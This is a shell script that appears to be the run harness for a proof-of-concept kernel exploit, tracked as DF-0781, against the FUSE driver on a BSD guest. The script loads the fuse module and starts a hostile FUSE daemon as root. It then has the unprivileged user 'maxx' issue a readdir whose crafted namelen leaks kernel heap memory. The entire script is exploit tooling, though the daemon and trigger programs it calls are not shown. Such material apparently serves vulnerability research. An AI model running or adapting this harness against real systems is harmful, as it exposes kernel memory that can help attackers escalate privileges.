DF-0781 / run.sh
#!/bin/sh # DF-0781 run: load fuse, start the evil daemon (mounts /mnt/fuse), then as # the unprivileged user maxx call getdents on the mountpoint to trigger the # kernel heap leak via fuse_vop_readdir's unvalidated namelen. # # The daemon must open /dev/fuse (root:operator 0660); on this guest only # root can do that, so the daemon is started as root. The readdir that # trips the leak is issued by maxx. set -e cd "$(dirname "$0")" MNT=/mnt/fuse # ensure fuse module is loaded (it ships as a .ko, not in GENERIC) kldstat -n fuse >/dev/null 2>&1 || kldload /root/fuse.ko || true mkdir -p "$MNT" # start the daemon in the background; it mounts and then serves. ./evil_daemon "$MNT" > daemon.log 2>&1 & DAEMON=$! echo "daemon pid=$DAEMON" # give mount time to complete (handshake + mount(2)) sleep 3 # sanity: is it mounted? mount | grep "$MNT" || { echo "MOUNT_MISSING"; cat daemon.log; exit 1; } # trigger as the unprivileged user: getdents on the FUSE mountpoint -> # daemon replies with a dirent whose namelen > actual reply bytes -> leak. echo "=== triggering readdir as maxx ===" su -m maxx -c "cd $(pwd) && ./read_trigger $MNT" 2>&1 || echo "trigger rc=$?" # if we got here the kernel survived sleep 1 echo "=== guest survived; daemon log: ===" cat daemon.log # tear down umount "$MNT" 2>/dev/null || true kill $DAEMON 2>/dev/null || true wait $DAEMON 2>/dev/null || true |